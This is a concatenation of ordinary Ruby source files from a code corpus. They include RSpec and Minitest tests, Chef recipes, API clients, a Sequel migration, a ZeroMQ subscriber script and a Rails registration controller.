expect(found.metadata['cve']).to eq(report_findings[i].compare_key)
end
end
end
context 'when scanner is not provided in the report findings' do
let!(:artifact_sast) { create(:ee_ci_job_artifact, :sast_with_missing_scanner, job: build_sast, project: project) }
it 'sets empty scanner' do
sast_scanners = subject.findings.select(&:sast?).map(&:scanner)
expect(sast_scanners).to all(have_attributes(project_id: nil, external_id: nil, name: nil))
end
end
def read_fixture(fixture)
Gitlab::Json.parse(File.read(fixture.file.path))
end
end
end
| 41.360119 | 191 | 0.665323 |
e87782037c76a739c3dfecdc69c23bf7d5ea6598 | 475 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Types::Ci::TestSuiteSummaryType do
specify { expect(described_class.graphql_name).to eq('TestSuiteSummary') }
it 'contains attributes related to a pipeline test report summary' do
expected_fields = %w[
name total_time total_count success_count failed_count skipped_count error_count suite_error build_ids
]
expect(described_class).to have_graphql_fields(*expected_fields)
end
end
| 29.6875 | 108 | 0.789474 |
28df99ddbd98a1cec0896c1a421459f23c2d1f85 | 314 | include_recipe "redis::install"
redis_sentinel "sentinel" do
conf_dir node.redis.conf_dir
init_style node.redis.init_style
# user service & group
user node.redis.user
group node.redis.group
node.redis.sentinel.each do |attribute, value|
send(attribute, value)
end
end
| 20.933333 | 48 | 0.691083 |
399f76d5a99170dda537d4cfa5176f216961f7dc | 685 | # coding: utf-8
module Utils
class Logger
LOG_FILE = "./tmp/agyoh.log".freeze
def initialize
File.open(LOG_FILE, "a+").close
end
# public class methods
# level: info
def self.log_info(message = '')
Logger.new.log_info(message)
end
# level: error
def self.log_error(message = '')
Logger.new.log_error(message)
end
# public instance methods
# level: info
def log_info(message = '')
now = Time.now
File.open(LOG_FILE, "a+") do |f|
f.puts("[#{now}] #{message}")
end
end
# level: error
def log_error(message = '')
log_info("[ERROR] #{message}")
end
end
end
| 18.026316 | 39 | 0.567883 |
879614213403d1078ef19c35ad4bf0b659ecfbb9 | 575 | # Gems
require "faraday"
require "faraday_middleware"
# Standard library
require "digest/sha1"
# Gem
require "ovh/version"
require "ovh/configuration"
require "ovh/endpoints/consumer"
require "ovh/endpoints/account"
require "ovh/endpoints/ips"
require "ovh/endpoints/vps"
require "ovh/client"
module Ovh
class << self
attr_writer :configuration
end
def self.configuration
@configuration ||= ::Ovh::Configuration.new
end
def self.reset
@configuration = ::Ovh::Configuration.new
end
def self.configure
yield(configuration)
end
end
| 15.131579 | 47 | 0.726957 |
ff5c822e1676f3d2c651c893109eb4f72b631e28 | 1,457 | require 'pathname'
require 'xcodeproj'
module Xcake
class XcodeprojContext
include Context
attr_accessor :project
def create_object_for(dsl_object)
case dsl_object
when BuildPhase
create_object_for_build_phase(dsl_object)
when Project
create_object_for_project(dsl_object)
when Target
create_object_for_target(dsl_object)
when Configuration
create_object_for_configuration(dsl_object)
when Scheme
create_object_for_scheme(dsl_object)
end
end
def create_object_for_build_phase(build_phase)
@project.new(build_phase.build_phase_type)
end
def create_object_for_project(project)
project_path = "./#{project.name}.xcodeproj"
if File.exist?(project_path)
FileUtils.remove_dir(project_path)
end
@project = Xcode::Project.new(project_path, true)
@project.setup_for_xcake
@project
end
def create_object_for_target(target)
@project.new_target(target)
end
def create_object_for_configuration(configuration)
@project.new_configuration(configuration)
end
def create_object_for_scheme(scheme)
Xcode::Scheme.new
end
def file_reference_for_path(path)
pathname = Pathname.new path
@project.file_reference_for_path(pathname)
end
def scheme_list
@scheme_list ||= Xcode::SchemeList.new(@project)
end
end
end
| 22.765625 | 55 | 0.698696 |
39919a31cb7014b969a5d2535a63999726d0258f | 5,122 | require 'tc_helper.rb'
class RichTextRun < Test::Unit::TestCase
def setup
@p = Axlsx::Package.new
@ws = @p.workbook.add_worksheet :name => "hmmmz"
@p.workbook.styles.add_style :sz => 20
@rtr = Axlsx::RichTextRun.new('hihihi', b: true, i: false)
@rtr2 = Axlsx::RichTextRun.new('hihi2hi2', b: false, i: true)
@rt = Axlsx::RichText.new
@rt.runs << @rtr
@rt.runs << @rtr2
@row = @ws.add_row [@rt]
@c = @row.first
end
def test_initialize
assert_equal(@rtr.value, 'hihihi')
assert_equal(@rtr.b, true)
assert_equal(@rtr.i, false)
end
def test_font_size_with_custom_style_and_no_sz
@c.style = @c.row.worksheet.workbook.styles.add_style :bg_color => 'FF00FF'
sz = @rtr.send(:font_size)
assert_equal(sz, @c.row.worksheet.workbook.styles.fonts.first.sz * 1.5)
sz = @rtr2.send(:font_size)
assert_equal(sz, @c.row.worksheet.workbook.styles.fonts.first.sz)
end
def test_font_size_with_bolding
@c.style = @c.row.worksheet.workbook.styles.add_style :b => true
assert_equal(@c.row.worksheet.workbook.styles.fonts.first.sz * 1.5, @rtr.send(:font_size))
assert_equal(@c.row.worksheet.workbook.styles.fonts.first.sz * 1.5, @rtr2.send(:font_size)) # is this the correct behaviour?
end
def test_font_size_with_custom_sz
@c.style = @c.row.worksheet.workbook.styles.add_style :sz => 52
sz = @rtr.send(:font_size)
assert_equal(sz, 52 * 1.5)
sz2 = @rtr2.send(:font_size)
assert_equal(sz2, 52)
end
def test_rtr_with_sz
@rtr.sz = 25
assert_equal(25, @rtr.send(:font_size))
end
def test_color
assert_raise(ArgumentError) { @rtr.color = -1.1 }
assert_nothing_raised { @rtr.color = "FF00FF00" }
assert_equal(@rtr.color.rgb, "FF00FF00")
end
def test_scheme
assert_raise(ArgumentError) { @rtr.scheme = -1.1 }
assert_nothing_raised { @rtr.scheme = :major }
assert_equal(@rtr.scheme, :major)
end
def test_vertAlign
assert_raise(ArgumentError) { @rtr.vertAlign = -1.1 }
assert_nothing_raised { @rtr.vertAlign = :baseline }
assert_equal(@rtr.vertAlign, :baseline)
end
def test_sz
assert_raise(ArgumentError) { @rtr.sz = -1.1 }
assert_nothing_raised { @rtr.sz = 12 }
assert_equal(@rtr.sz, 12)
end
def test_extend
assert_raise(ArgumentError) { @rtr.extend = -1.1 }
assert_nothing_raised { @rtr.extend = false }
assert_equal(@rtr.extend, false)
end
def test_condense
assert_raise(ArgumentError) { @rtr.condense = -1.1 }
assert_nothing_raised { @rtr.condense = false }
assert_equal(@rtr.condense, false)
end
def test_shadow
assert_raise(ArgumentError) { @rtr.shadow = -1.1 }
assert_nothing_raised { @rtr.shadow = false }
assert_equal(@rtr.shadow, false)
end
def test_outline
assert_raise(ArgumentError) { @rtr.outline = -1.1 }
assert_nothing_raised { @rtr.outline = false }
assert_equal(@rtr.outline, false)
end
def test_strike
assert_raise(ArgumentError) { @rtr.strike = -1.1 }
assert_nothing_raised { @rtr.strike = false }
assert_equal(@rtr.strike, false)
end
def test_u
@c.type = :string
assert_raise(ArgumentError) { @c.u = -1.1 }
assert_nothing_raised { @c.u = :single }
assert_equal(@c.u, :single)
doc = Nokogiri::XML(@c.to_xml_string(1,1))
assert(doc.xpath('//u[@val="single"]'))
end
def test_i
assert_raise(ArgumentError) { @c.i = -1.1 }
assert_nothing_raised { @c.i = false }
assert_equal(@c.i, false)
end
def test_rFont
assert_raise(ArgumentError) { @c.font_name = -1.1 }
assert_nothing_raised { @c.font_name = "Arial" }
assert_equal(@c.font_name, "Arial")
end
def test_charset
assert_raise(ArgumentError) { @c.charset = -1.1 }
assert_nothing_raised { @c.charset = 1 }
assert_equal(@c.charset, 1)
end
def test_family
assert_raise(ArgumentError) { @rtr.family = 0 }
assert_nothing_raised { @rtr.family = 1 }
assert_equal(@rtr.family, 1)
end
def test_b
assert_raise(ArgumentError) { @c.b = -1.1 }
assert_nothing_raised { @c.b = false }
assert_equal(@c.b, false)
end
def test_multiline_autowidth
wrap = @p.workbook.styles.add_style({:alignment => {:wrap_text => true}})
awtr = Axlsx::RichTextRun.new('I\'m bold' + "\n", :b => true)
rt = Axlsx::RichText.new
rt.runs << awtr
@ws.add_row [rt], :style => wrap
ar = [0]
awtr.autowidth(ar)
assert_equal(2, ar.length)
assert_equal(13.2, ar[0])
assert_equal(0, ar[1])
end
def test_to_xml
schema = Nokogiri::XML::Schema(File.open(Axlsx::SML_XSD))
doc = Nokogiri::XML(@ws.to_xml_string)
errors = []
schema.validate(doc).each do |error|
puts error.message
errors.push error
end
assert(errors.empty?, "error free validation")
assert(doc.xpath('//rPr/b[@val=1]'))
assert(doc.xpath('//rPr/i[@val=0]'))
assert(doc.xpath('//rPr/b[@val=0]'))
assert(doc.xpath('//rPr/i[@val=1]'))
assert(doc.xpath('//is//t[contains(text(), "hihihi")]'))
assert(doc.xpath('//is//t[contains(text(), "hihi2hi2")]'))
end
end
| 29.436782 | 128 | 0.655994 |
e871002e2be82bfe16054c37eb5cf73b017008a3 | 950 | require 'raindrops'
module LitmusPaper
module Metric
class SocketUtilization
attr_reader :weight, :maxconn
def initialize(weight, maxconn)
@weight = weight
@maxconn = maxconn
end
def current_health
stats = _stats
if stats.queued == 0
return weight
end
[
weight - (
(weight * stats.active.to_f) / (3 * maxconn.to_f) +
(2 * weight * stats.queued.to_f) / (3 * maxconn.to_f)
),
1
].max
end
def stats
stats = _stats
{
:socket_active => stats.active,
:socket_queued => stats.queued,
:socket_utilization => ((stats.queued / maxconn.to_f) * 100).round,
}
end
def _stats
raise "Sub-classes must implement _stats"
end
def to_s
raise "Sub-classes must implement to_s"
end
end
end
end
| 19.387755 | 77 | 0.524211 |
ab0fca80c189d005490c6545fb2e0030ad2d20cb | 1,579 | #
# Be sure to run `pod lib lint NNCategoryKit.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'NNCategoryKit'
s.version = '0.1.5'
s.summary = '无所谓啊'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/wax2045/NNCategoryKit'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'wax2045' => '[email protected]' }
s.source = { :git => 'https://github.com/wax2045/NNCategoryKit.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'NNCategoryKit/Classes/**/*'
# s.resource_bundles = {
# 'NNCategoryKit' => ['NNCategoryKit/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.72093 | 105 | 0.637112 |
01e07c6118d855e1735ad58b699c82e1a3ab8fbe | 72 | module Redcarpet
module Abbreviations
VERSION = "0.1.1"
end
end
| 12 | 22 | 0.694444 |
031c55ab3aa0de0ed111a7269c01df56422a2e0a | 136 | ENV['RACK_ENV'] = 'test'
require_relative '../lib/gameon.rb'
require 'minitest/autorun'
require 'minitest/pride'
require 'rack/test'
| 22.666667 | 37 | 0.727941 |
ff454fcfc8be2eaf9725790a4842b1f29df730dd | 805 | Gem::Specification.new do |s|
s.name = "committee"
s.version = "1.6.2"
s.summary = "A collection of Rack middleware to support JSON Schema."
s.authors = ["Brandur", "geemus (Wesley Beary)"]
s.email = ["[email protected]", "[email protected]"]
s.homepage = "https://github.com/interagent/committee"
s.license = "MIT"
s.executables << "committee-stub"
s.files = Dir["{bin,lib,test}/**/*.rb"]
s.add_dependency "json_schema", "~> 0.3"
s.add_dependency "multi_json", "~> 1.10"
s.add_dependency "rack", "~> 1.5"
s.add_development_dependency "minitest", "~> 5.3"
s.add_development_dependency "rack-test", "~> 0.6"
s.add_development_dependency "rake", "~> 10.3"
s.add_development_dependency "rr", "~> 1.1"
end
| 33.541667 | 77 | 0.616149 |
116d1434a45fa3e0174c0b02b49ca7a5f42b1ef2 | 258 | class VirtualString
attr_accessor :value
def initialize(value)
@value = value
end
def ==(other)
(other.instance_of?(VirtualString) and
value == other.value)
end
def to_s
value.to_s
end
def reducible?
false
end
end
| 12.285714 | 42 | 0.647287 |
b96c9086129c952dbbe1ac347d6a5fa309403d39 | 299 | # WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::DataPipeline
module Errors
extend Aws::Errors::DynamicErrors
end
end
| 19.933333 | 74 | 0.762542 |
e84c461962760b1bfcc85d8e69b55d64764ec53c | 3,896 | module Setup
class Optimizer
def initialize
@nss = Hash.new { |h, k| h[k] = {} }
end
def regist_data_types(data_types)
data_types = [data_types] unless data_types.is_a?(Enumerable)
data_types.each do |dt|
next unless dt.is_a?(Setup::DataType)
@nss[dt.namespace][dt.name] = dt
end
end
def find_data_type(ref, ns = self.namespace)
if ref.is_a?(Hash)
ns = ref['namespace'].to_s
ref = ref['name']
end
unless (data_type = (ns_hash = @nss[ns])[ref])
if (data_type = Setup::DataType.where(namespace: ns, name: ref).first)
ns_hash[ref] = data_type
elsif (ref = ref.to_s).start_with?('Dt')
data_type = Setup::DataType.where(id: ref.from(2)).first
end
end
data_type
end
def optimize
data_types = @nss.values.collect { |ns_hash| ns_hash.values.to_a }.flatten
while (data_type = data_types.shift)
segments = {}
refs = Set.new
schema = data_type.merged_schema(ref_collector: refs)
if schema['type'] == 'object' && (properties = schema['properties'])
properties = data_type.merge_schema(properties, ref_collector: refs)
properties.each do |property_name, property_schema|
property_segment = nil
property_schema = data_type.merge_schema(property_schema, ref_collector: refs)
if property_schema['type'] == 'array' && (items = property_schema['items'])
property_schema['items'] = items = data_type.merge_schema(items, ref_collector: refs)
if (edi_opts = items['edi']) && edi_opts.has_key?('segment')
property_segment = edi_opts['segment']
end
end
properties[property_name] = property_schema
if (edi_opts = property_schema['edi']) && edi_opts.has_key?('segment')
property_segment = edi_opts['segment']
end
segments[property_segment] = property_name if property_segment
end
schema['properties'] = properties
end
#TODO inject refs dependencies
(schema['edi'] ||= {})['segments'] = segments
data_type.schema = schema
end
end
def save_data_types
errors = []
optimize
new_attributes = []
valid = true
@nss.each_value do |data_types_hash|
data_types_hash.each_value do |data_type|
dt_valid = true
if (dt_valid = data_type.valid?(:create)) && valid
if data_type.new_record?
data_type.instance_variable_set(:@dynamically_created, true)
data_type.instance_variable_set(:@new_record, false)
new_attributes << data_type.attributes
else
#TODO ?
end
else
errors += data_type.errors.full_messages.collect { |msg| "On data type #{data_type.name}: #{msg}" }
valid = false unless dt_valid
end
end
end
if valid && new_attributes.present?
Setup::JsonDataType.collection.insert_many(new_attributes)
end
errors
end
def registered_nss
@registered_nss ||= Set.new
end
def regist_ns(ns)
registered_nss << ns
end
def save_namespaces
if registered_nss.present?
existing_nss = Setup::Namespace.any_in(name: registered_nss.to_a).distinct(:name)
registered_nss.each { |ns| Setup::Namespace.create(name: ns) unless existing_nss.include?(ns) }
end
end
class << self
def optimizer
Thread.current[thread_key]
end
def instance
Thread.current[thread_key] ||= Setup::Optimizer.new
end
def thread_key
"[cenit]#{to_s}"
end
delegate(*Setup::Optimizer.instance_methods(false), to: :instance)
end
end
end
| 31.419355 | 111 | 0.598049 |
18571c366e651e744b5d7cb6b1fdd78d0b8a9e4c | 631 | Pod::Spec.new do |s|
s.name = 'AFDownloadRequestOperation'
s.version = '0.0.1'
s.summary = "A progressive download operation for AFNetworking."
s.homepage = "https://github.com/steipete/AFDownloadRequestOperation"
s.author = { 'Peter Steinberger' => '[email protected]' }
s.source = { :git => 'https://github.com/steipete/AFDownloadRequestOperation.git', :commit => '2d7672ba74f1eae1fa2f8bd45525df1f5be81e40' }
s.platform = :ios, '5.0'
s.requires_arc = true
s.source_files = '*.{h,m}'
s.license = 'MIT'
s.dependency 'AFNetworking', '~>1.1'
end
| 42.066667 | 148 | 0.62599 |
7abf0b1c87f67f68d1fb5a9a9a6fd72d364a262b | 1,936 | Sequel.migration do
up do
run %Q{
DROP VIEW public.measures
}
rename_column :measures_oplog, :measure_group_id, :workbasket_id
run %Q{
CREATE OR REPLACE VIEW public.measures AS
SELECT measures1.measure_sid,
measures1.measure_type_id,
measures1.geographical_area_id,
measures1.goods_nomenclature_item_id,
measures1.validity_start_date,
measures1.validity_end_date,
measures1.measure_generating_regulation_role,
measures1.measure_generating_regulation_id,
measures1.justification_regulation_role,
measures1.justification_regulation_id,
measures1.stopped_flag,
measures1.geographical_area_sid,
measures1.goods_nomenclature_sid,
measures1.ordernumber,
measures1.additional_code_type_id,
measures1.additional_code_id,
measures1.additional_code_sid,
measures1.reduction_indicator,
measures1.export_refund_nomenclature_sid,
measures1."national",
measures1.tariff_measure_number,
measures1.invalidated_by,
measures1.invalidated_at,
measures1.oid,
measures1.operation,
measures1.operation_date,
measures1.added_by_id,
measures1.added_at,
measures1.status,
measures1.last_status_change_at,
measures1.last_update_by_id,
measures1.updated_at,
measures1.workbasket_id,
measures1.searchable_data,
measures1.searchable_data_updated_at
FROM public.measures_oplog measures1
WHERE ((measures1.oid IN ( SELECT max(measures2.oid) AS max
FROM public.measures_oplog measures2
WHERE (measures1.measure_sid = measures2.measure_sid))) AND ((measures1.operation)::text <> 'D'::text));
}
drop_table :measure_groups
end
end
| 35.2 | 120 | 0.668388 |
38d2663c9e566d87777df826ba32c2f32d8ae6ec | 1,762 | require 'test_helper'
class MetaTagTest < ActiveSupport::TestCase
# called before every single test
def setup
@tag = MetaTag.new(:name => 'somename')
@tag.taggable_type = 'Category'
@tag.taggable_id = 1
@tag.content = 'some content'
end
test "truth" do
assert_kind_of Class, MetaTag
end
test 'should create new record with valid attributes' do
@tag.save!
end
test 'should not be valid with empty name' do
@tag.name = nil
assert [email protected]?
end
test 'should not be valid with not uniq name' do
@tag.update_attribute(:name, 'test')
@next_tag = MetaTag.new(:name => 'test')
@next_tag.taggable_type = 'Category'
@next_tag.taggable_id = 1
assert !@next_tag.valid?
end
test 'should be valid with not uniq name but dynamic' do
@tag.update_attribute(:name, 'test')
@next_tag = MetaTag.new(:name => 'test', :is_dynamic => true)
@next_tag.taggable_type = 'Category'
@next_tag.taggable_id = 1
@next_tag.content = 'content'
assert @next_tag.valid?
end
test 'should not be valid with not uniq name both dynamic' do
@tag.update_attribute(:is_dynamic, true)
@next_tag = MetaTag.new(:name => 'somename', :is_dynamic => true)
@next_tag.taggable_type = 'Category'
@next_tag.taggable_id = 1
assert !@next_tag.valid?
end
test 'should be valid with not uniq name in other parent record' do
@tag.update_attribute(:name, 'test')
@next_tag = MetaTag.new(:name => 'test')
@next_tag.taggable_type = 'Category'
@next_tag.taggable_id = 2
@next_tag.content = 'content'
assert @next_tag.valid?
end
test 'should return valid dynamic content' do
assert true
end
end
| 24.816901 | 69 | 0.6521 |
e8344ff776e9fbcf8cfbbae559b194469888541c | 2,855 | require 'spec_helper'
describe DiscourseApi::API::Categories do
subject { DiscourseApi::Client.new("http://localhost:3000", "test_d7fd0429940", "test_user" )}
describe "#categories" do
before do
stub_get("http://localhost:3000/categories.json")
.to_return(body: fixture("categories.json"), headers: { content_type: "application/json" })
end
it "requests the correct resource" do
subject.categories
expect(a_get("http://localhost:3000/categories.json")).to have_been_made
end
it "returns the requested categories" do
categories = subject.categories
expect(categories).to be_an Array
expect(categories.first).to be_a Hash
end
it "returns the requested categories with hash arg" do
categories = subject.categories({})
expect(categories).to be_an Array
expect(categories.first).to be_a Hash
end
end
describe '#category_latest_topics' do
before do
stub_get("http://localhost:3000/c/category-slug/l/latest.json")
.to_return(body: fixture("category_latest_topics.json"), headers: { content_type: "application/json" })
end
it "returns the latest topics in a category" do
latest_topics = subject.category_latest_topics(category_slug: 'category-slug')
expect(latest_topics).to be_an Array
end
end
describe '#category_top_topics' do
before do
stub_get("http://localhost:3000/c/category-slug/l/top.json")
.to_return(
body: fixture("category_topics.json"),
headers: { content_type: "application/json" }
)
end
it "returns the top topics in a category" do
topics = subject.category_top_topics('category-slug')
expect(topics).to be_an Array
end
end
describe '#category_new_topics' do
before do
stub_get("http://localhost:3000/c/category-slug/l/new.json")
.to_return(
body: fixture("category_topics.json"),
headers: { content_type: "application/json" }
)
end
it "returns the new topics in a category" do
topics = subject.category_new_topics('category-slug')
expect(topics).to be_an Array
end
end
describe '#category_new_category' do
before do
stub_post("http://localhost:3000/categories")
subject.create_category(name: "test_category", color: "283890", text_color: "FFFFFF",
description: "This is a description",
permissions: {"group_1" => 1, "admins" => 1})
end
it "makes a create category request" do
expect(a_post("http://localhost:3000/categories").with(body:
"color=283890&description=This+is+a+description&name=test_category&parent_category_id&permissions%5Badmins%5D=1&permissions%5Bgroup_1%5D=1&text_color=FFFFFF")
).to have_been_made
end
end
end
| 32.443182 | 168 | 0.669702 |
036a65eba27631f2254ee4fbe67a0cd48a640ae0 | 3,521 | #
# Cookbook Name:: wordpress
# Recipe:: app
#
# Copyright 2009-2010, Opscode, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
include_recipe "wordpress::database"
::Chef::Recipe.send(:include, Opscode::OpenSSL::Password)
node.set_unless['wordpress']['keys']['auth'] = secure_password
node.set_unless['wordpress']['keys']['secure_auth'] = secure_password
node.set_unless['wordpress']['keys']['logged_in'] = secure_password
node.set_unless['wordpress']['keys']['nonce'] = secure_password
node.set_unless['wordpress']['salt']['auth'] = secure_password
node.set_unless['wordpress']['salt']['secure_auth'] = secure_password
node.set_unless['wordpress']['salt']['logged_in'] = secure_password
node.set_unless['wordpress']['salt']['nonce'] = secure_password
node.save unless Chef::Config[:solo]
directory node['wordpress']['dir'] do
action :create
recursive true
if platform_family?('windows')
rights :read, 'Everyone'
else
owner node['wordpress']['install']['user']
group node['wordpress']['install']['group']
mode '00755'
end
end
archive = platform_family?('windows') ? 'wordpress.zip' : 'wordpress.tar.gz'
if platform_family?('windows')
windows_zipfile node['wordpress']['parent_dir'] do
source node['wordpress']['url']
action :unzip
not_if {::File.exists?("#{node['wordpress']['dir']}\\index.php")}
end
else
tar_extract node['wordpress']['url'] do
target_dir node['wordpress']['dir']
creates File.join(node['wordpress']['dir'], 'index.php')
user node['wordpress']['install']['user']
group node['wordpress']['install']['group']
tar_flags [ '--strip-components 1' ]
not_if { ::File.exists?("#{node['wordpress']['dir']}/index.php") }
end
end
template "#{node['wordpress']['dir']}/wp-config.php" do
source 'wp-config.php.erb'
mode node['wordpress']['config_perms']
variables(
:db_name => node['wordpress']['db']['name'],
:db_user => node['wordpress']['db']['user'],
:db_password => node['wordpress']['db']['pass'],
:db_host => node['wordpress']['db']['host'],
:db_prefix => node['wordpress']['db']['prefix'],
:db_charset => node['wordpress']['db']['charset'],
:db_collate => node['wordpress']['db']['collate'],
:auth_key => node['wordpress']['keys']['auth'],
:secure_auth_key => node['wordpress']['keys']['secure_auth'],
:logged_in_key => node['wordpress']['keys']['logged_in'],
:nonce_key => node['wordpress']['keys']['nonce'],
:auth_salt => node['wordpress']['salt']['auth'],
:secure_auth_salt => node['wordpress']['salt']['secure_auth'],
:logged_in_salt => node['wordpress']['salt']['logged_in'],
:nonce_salt => node['wordpress']['salt']['nonce'],
:lang => node['wordpress']['languages']['lang'],
:allow_multisite => node['wordpress']['allow_multisite']
)
owner node['wordpress']['install']['user']
group node['wordpress']['install']['group']
action :create
end
| 39.122222 | 76 | 0.651803 |
012671d1b116f6339d6756b1fa6814661b6e92a2 | 954 | require "uri"
require "time"
require "timeout"
require "multi_json"
require "faraday"
require "elasticsearch/transport/transport/serializer/multi_json"
require "elasticsearch/transport/transport/sniffer"
require "elasticsearch/transport/transport/response"
require "elasticsearch/transport/transport/errors"
require "elasticsearch/transport/transport/base"
require "elasticsearch/transport/transport/connections/selector"
require "elasticsearch/transport/transport/connections/connection"
require "elasticsearch/transport/transport/connections/collection"
require "elasticsearch/transport/transport/http/faraday"
require "elasticsearch/transport/client"
require "elasticsearch/transport/version"
module Elasticsearch
module Client
# A convenience wrapper for {::Elasticsearch::Transport::Client#initialize}.
#
def new(arguments={}, &block)
Elasticsearch::Transport::Client.new(arguments, &block)
end
extend self
end
end
| 30.774194 | 80 | 0.808176 |
79abf4c270f9d0e79756e555fbea612f5fd55deb | 992 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::AzureStack::Mgmt::V2017_06_01
module Models
#
# Defines values for CompatibilityIssue
#
module CompatibilityIssue
HigherDeviceVersionRequired = "HigherDeviceVersionRequired"
LowerDeviceVersionRequired = "LowerDeviceVersionRequired"
CapacityBillingModelRequired = "CapacityBillingModelRequired"
PayAsYouGoBillingModelRequired = "PayAsYouGoBillingModelRequired"
DevelopmentBillingModelRequired = "DevelopmentBillingModelRequired"
AzureADIdentitySystemRequired = "AzureADIdentitySystemRequired"
ADFSIdentitySystemRequired = "ADFSIdentitySystemRequired"
ConnectionToInternetRequired = "ConnectionToInternetRequired"
ConnectionToAzureRequired = "ConnectionToAzureRequired"
DisconnectedEnvironmentRequired = "DisconnectedEnvironmentRequired"
end
end
end
| 41.333333 | 73 | 0.796371 |
38682d68274f2193d862c53887afe084043766bd | 153 | class SubdomainConstraint
def self.matches?(request)
User.with_permalink.where("lower(permalink) = lower(?)", request.subdomain).exists?
end
end
| 25.5 | 87 | 0.751634 |
e9a526cac3c501d322787399bfcf66c7a98a50b8 | 2,428 | # frozen_string_literal: true
module Pagemaster
#
#
class Collection
attr_reader :source, :id_key, :layout, :data, :dir
#
#
def initialize(name, config)
@name = name
@config = config
@source = fetch 'source'
@id_key = fetch 'id_key'
end
#
#
def fetch(key)
raise Error::InvalidCollection unless @config.key? key
@config.dig key
end
#
#
def ingest_source
file = "_data/#{@source}"
raise Error::InvalidSource, "Cannot find source file #{file}" unless File.exist? file
case File.extname file
when '.csv'
CSV.read(file, headers: true).map(&:to_hash)
when '.json'
JSON.parse(File.read(file).encode('UTF-8'))
when /\.ya?ml/
YAML.load_file file
else
raise Error::InvalidSource, "Collection source #{file} must have a valid extension (.csv, .yml, or .json)"
end
rescue StandardError
raise Error::InvalidSource, "Cannot load #{file}. check for typos and rebuild."
end
#
#
def validate_data
ids = @data.map { |d| d.dig @id_key }
raise Error::InvalidCollection, "One or more items in collection '#{@name}' is missing required id for the id_key '#{@id_key}'" unless ids.all?
duplicates = ids.detect { |i| ids.count(i) > 1 } || []
raise Error::InvalidCollection, "The collection '#{@name}' has the follwing duplicate ids for id_key #{@id_key}: \n#{duplicates}" unless duplicates.empty?
end
#
#
def overwrite_pages
return unless @dir
FileUtils.rm_rf @dir
puts Rainbow("Overwriting #{@dir} directory with --force.").cyan
end
#
#
def generate_pages(opts, collections_dir, source_dir)
@opts = opts
@dir = File.join [source_dir, collections_dir, "_#{@name}"].compact
overwrite_pages if @opts.fetch :force, false
FileUtils.mkdir_p @dir
@data = ingest_source
validate_data
@data.map do |d|
path = "#{@dir}/#{slug d[@id_key]}.md"
d['layout'] = @config['layout'] if @config.key? 'layout'
if File.exist? path
puts Rainbow("#{path} already exits. Skipping.").cyan
else
File.open(path, 'w') { |f| f.write("#{d.to_yaml}---") }
end
path
end
end
#
#
def slug(str)
str.downcase.tr(' ', '_').gsub(/[^:\w-]/, '')
end
end
end
| 25.557895 | 160 | 0.581549 |
21a3123e8e68e35c211d0c63ce226eb7eb365b8e | 1,353 | # run via: ruby mql4zmq_sub.rb 10.18.16.5:2027 tick [channel 2] [channel 3]...
require 'zmq'
# Check for help requested
if ARGV[0] == "-h" || ARGV[0] == "--help"
puts "Usage: ruby mql4zmq_sub.rb [MetaTrader IP Address]:[MQL4ZMQ EA Port Number default 2027] [channel 1] [channel 2] [channel 3]..."
puts "Example:\nruby zma_ploutos_sub.rb 10.18.16.16:2027 tick trades\n=> subscribes to the 'tick' and 'trades' channels coming from the MetaTrader EA at 10.18.16.16."
else
# Initialize the ZeroMQ context.
context = ZMQ::Context.new
# Store the location of the server in a variable.
server = ARGV[0]
# Retrieve the list of channels to subscribe to. We drop the first value because that is the server address.
channels = ARGV.drop(1)
# Configure the socket to be of type subscribe.
sub = context.socket ZMQ::SUB
# Connect to the server using the subscription model.
sub.connect "tcp://#{server}"
# Subscribe to the requested channels.
channels.each do |ch|
sub.setsockopt ZMQ::SUBSCRIBE, ch
end
# Do something when we receive a message.
while line = sub.recv
channel, bid, ask, time = line.split ' ', 4
puts "##{channel} [#{time}]: #{bid[0..7]} #{ask[0..7]}"
end
end | 39.794118 | 174 | 0.616408 |
87e6eead0481eeb983364ac98a8a89399615b320 | 532 | Pod::Spec.new do |s|
s.name = "LPTest"
s.version = "1.2.0"
s.summary = "简要介绍..."
s.description = "描述内容..."
s.homepage = "https://github.com/splsylp/MyTest"
s.license = "MIT"
s.author = { "Tony" => "[email protected]" }
s.platform = :ios, "8.0"
s.source = { :git => "https://github.com/splsylp/MyTest.git", :tag => "1.2.0" }
s.source_files = "LPTest/Source/*.swift"
s.frameworks = "UIKit", "QuartzCore"
s.requires_arc = true
s.dependency "SDWebImage"
end
| 25.333333 | 87 | 0.548872 |
d50ee2099ffba6d33471f1733bd34ad61bd6da01 | 468 | class Api::V1::RegistrationsController < ApiController
skip_before_action :authenticate_request
def create
user = User.create user_params
if user.valid? && user.set_access_token
render json:
{
auth_token: user.access_token,
user_id: user.id
}
else
render_obj_errors user
end
end
private
def user_params
params.require(:user).permit(:email, :first_name, :last_name, :password)
end
end
